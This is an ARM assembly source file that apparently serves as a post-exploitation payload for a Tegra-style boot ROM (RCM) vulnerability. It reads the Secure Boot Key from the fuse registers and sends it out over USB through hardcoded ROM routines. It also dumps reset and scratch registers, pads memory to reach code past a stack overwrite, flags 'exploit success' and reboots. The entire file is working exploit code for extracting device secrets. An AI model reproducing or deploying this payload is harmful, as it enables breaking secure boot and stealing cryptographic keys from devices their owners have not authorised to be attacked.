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dump-sbk-via-usb.S
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dump-sbk-via-usb.S
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//
// Payload launcher stub.
//
#define IROM_START 0xfff00000
#define IROM_SIZE (48 * 1024)
#define IRAM_START 0x40000000
#define IRAM_END (IRAM_START + 256 * 1024)
#define MINILOADER_ENTRY 0x4000F000
#define FILL_START (MINILOADER_ENTRY + 1024)
#define FLAG_ADDR (IRAM_END - 128)
#define IROM_COPY_ADDR 0x4002f000
#define PMC_BASE 0x7000E400
#define _REG(base, off) ((base) + (off))
#define PMC(off) _REG(PMC_BASE, off)
#define PMC_SCRATCH0 0x50
#define PMC_SECURE_SCRATCH5 0xc4
#define PMC_SCRATCH24 0xfc
#define PMC_SCRATCH42 0x144
#define PMC_RST_STATUS 0x1b4
#define PMC_SECURE_SCRATCH6 0x224
#define PMC_SCRATCH2_ECO 0x304
#define APB_MISC_PP_STRAPPING_OPT_A_0 0x70000008
#define FUSE_PRIVATE_KEY0 0x7000F9A4
#define FUSE_PRIVATE_KEY4 0x7000F9B4
#define SBK_DUMP_SIZE (FUSE_PRIVATE_KEY4 - FUSE_PRIVATE_KEY0 + 4)
#define FUSE_CP_REV 0x7000F990
#define write_ep1_in_sync (0xFFF05092 + 1)
#define usb_reset_ep1 (0xFFF04996 + 1)
#define USB_BUFFERS_ADDR 0x400019B0
#define DUMP_BOOT_REASON
#define DUMP_USB_BUFFERS
#define DUMP_FUSE_CP_REV
//#define CLEAR_RESET_STATUS
#define SAY_HELLO
#define REBOOT_RCM
#define DUMP_SBK
//#define FILL_IRAM
//#define COPY_IROM_TO_IRAM
//#define ZERO_SCRATCH
.globl _start
.section ".text"
_start:
#ifdef DUMP_BOOT_REASON
sub sp, sp, #8
mov r0, sp
ldr r1, =0xDEADBEEF
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =PMC(PMC_RST_STATUS)
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =PMC(PMC_SCRATCH0)
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =APB_MISC_PP_STRAPPING_OPT_A_0
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =FLAG_ADDR
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =0x13371337
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
#endif
#ifdef DUMP_USB_BUFFERS
sub sp, sp, #8
mov r0, sp
ldr r1, =0x55555555
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =USB_BUFFERS_ADDR
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =(USB_BUFFERS_ADDR + 4)
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =0xAAAAAAAA
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
#endif
#ifdef DUMP_FUSE_CP_REV
sub sp, sp, #8
mov r0, sp
ldr r1, =0x11111111
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =FUSE_CP_REV
ldr r1, [r1]
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
sub sp, sp, #8
mov r0, sp
ldr r1, =0x22222222
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
#endif
#ifdef ZERO_SCRATCH
mov r2, #0
ldr r0, =PMC(PMC_SCRATCH0)
mov r1, #(PMC(PMC_SECURE_SCRATCH5) - PMC(PMC_SCRATCH0) + 4)
bl zero_block
ldr r0, =PMC(PMC_SCRATCH24)
mov r1, #(PMC(PMC_SCRATCH42) - PMC(PMC_SCRATCH24) + 4)
bl zero_block
ldr r0, =PMC(PMC_SECURE_SCRATCH6)
mov r1, #(PMC(PMC_SCRATCH2_ECO) - PMC(PMC_SECURE_SCRATCH6) + 4)
bl zero_block
//ldr r0, =IROM_START
//ldr r1, =IROM_SIZE*2
//bl zero_block
#endif
#ifdef CLEAR_RESET_STATUS
ldr r0, =PMC(PMC_RST_STATUS)
mov r1, #0
str r1, [r0]
#endif
#ifdef FILL_IRAM
bl fill_iram
#endif
#ifdef COPY_IROM_TO_IRAM
ldr r0, =IROM_COPY_ADDR
ldr r1, =#IROM_START
mov r2, #IROM_SIZE
bl copy
#endif
#ifdef SAY_HELLO
ldr r0, =hello_str
mov r1, #hello_str_len
sub r2, sp, #4
sub sp, sp, #4
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #4
mov r0, #0
mov r1, #1
ldr ip, =usb_reset_ep1
mov lr, pc
bx ip
#endif
#ifdef DUMP_SBK
sub sp, sp, #SBK_DUMP_SIZE
mov r0, sp
ldr r1, =#FUSE_PRIVATE_KEY0
mov r2, #SBK_DUMP_SIZE
bl copy
mov r0, sp
mov r1, #SBK_DUMP_SIZE
sub r2, sp, #4
sub sp, sp, #4
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #4
mov r0, #0
mov r1, #1
ldr ip, =usb_reset_ep1
mov lr, pc
bx ip
#endif
bl func_past_stack_overwrite
ldr r0, =FLAG_ADDR
ldr r1, =#0xBAADF00D
str r1, [r0]
ldr r0, =PMC(PMC_SCRATCH0)
ldr r1, [r0]
#ifndef REBOOT_RCM
// set bit to indicate exploit success
mov r1, #0x10000000
#else
// set RCM bit
mov r1, #(1 << 1)
#endif
str r1, [r0]
// reset
ldr r0, =PMC(0)
ldr r1, [r0]
orr r1, #(1 << 4)
str r1, [r0]
L_spin:
b L_spin
#ifdef FILL_IRAM
.globl fill_iram
fill_iram:
ldr r0, =FILL_START
ldr r1, =IRAM_END
L_fill_word:
ldr r2, =#0x13371337
str r2, [r0], #4
cmp r0, r1
bne L_fill_word
bx lr
#endif
#if defined(COPY_IROM_TO_IRAM) || defined(DUMP_SBK)
//
// Simple block copy.
// r0 = destination address
// r1 = source address
// r2 = length in bytes
// Destroys r0-r3.
//
.globl copy
copy:
// Copy the word...
ldr r3, [r1], #4
str r3, [r0], #4
// And continue while we have words left to copy.
subs r2, r2, #4
bne copy
// Once we're done, return.
bx lr
#endif
#ifdef ZERO_SCRATCH
//
// Sets memory
// r0 = destination address
// r1 = length in bytes
// r2 = fill value
// Destroys r0-r1.
//
.globl zero_block
zero_block:
// Store the word...
str r2, [r0], #4
// And continue while we have words left to copy.
subs r1, r1, #4
bne zero_block
// Once we're done, return.
bx lr
#endif
.global x32_to_str
.type x32_to_str, %function
x32_to_str:
add r2, r0, #8
.Lnibble_loop:
mov r3, r1, lsr #28
cmp r3, #9
addls r3, r3, #48
addhi r3, r3, #55
strb r3, [r0]
add r0, r0, #1
cmp r0, r2
mov r1, r1, asl #4
bne .Lnibble_loop
bx lr
#ifdef SAY_HELLO
.globl hello_str
.type hello_str, %object
.size hello_str, Lhello_str_end - hello_str
.align 4
hello_str:
.asciz "hello, world\n"
Lhello_str_end:
.equ hello_str_len, . - hello_str
.globl newline_str
.type newline_str, %object
.size newline_str, Lhello_str_end - newline_str
.align 4
newline_str:
.asciz "\n"
Lnewline_str_end:
.equ newline_str_len, . - newline_str
#endif
.ltorg
.space 70000
# .space 0x8000
# .space 0x000049bc
# .space 0x000049c0
# .space 0x000049c4
.globl func_past_stack_overwrite
func_past_stack_overwrite:
push {lr}
sub sp, sp, #8
mov r0, sp
ldr r1, =0xFACEF00D
bl x32_to_str
mov r0, sp
mov r1, #8
sub sp, sp, #4
mov r2, sp
ldr ip, =write_ep1_in_sync
mov lr, pc
bx ip
add sp, sp, #12
pop {lr}
bx lr